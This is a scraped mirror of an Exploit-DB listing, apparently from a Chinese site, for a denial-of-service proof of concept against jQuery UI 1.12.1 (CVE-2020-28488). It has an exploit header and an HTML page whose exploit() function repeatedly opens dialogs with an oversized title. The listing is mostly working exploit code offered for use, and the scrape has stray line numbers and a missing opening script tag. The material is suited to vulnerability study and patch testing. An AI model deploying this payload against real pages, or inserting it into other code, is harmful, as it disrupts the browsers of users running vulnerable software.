jQuery UI 1.12.1 – Denial of Service (DoS) - 体验盒子

作者： Rafael Cintra Lopes

日期： 2021-01-28

类别：

dos

平台：

multiple

来源：https://www.exploit-db.com/exploits/49489/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

# Exploit Title: jQuery UI 1.12.1 - Denial of Service (DoS)

# Date: 20 Jan, 2021

# Exploit Author: Rafael Cintra Lopes

# Vendor Homepage: https://jqueryui.com/

# Software Link: https://jqueryui.com/download/

# Version: <= 1.12.1

# CVE : CVE-2020-28488

<!DOCTYPE html>

<head>

<title>DoS - jQuery UI 1.12.1</title>

</head>

<body>

<h2>DoS - jQuery UI 1.12.1</h2>

<div>

<button onclick="exploit()">Exploit</button>

</div>

<p>PoC by Rafael Cintra Lopes</p>

function exploit(){

for (var i = 0; i < 10; i++) {

$("div").dialog({title:'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'});

}

</script>

</body>

</html>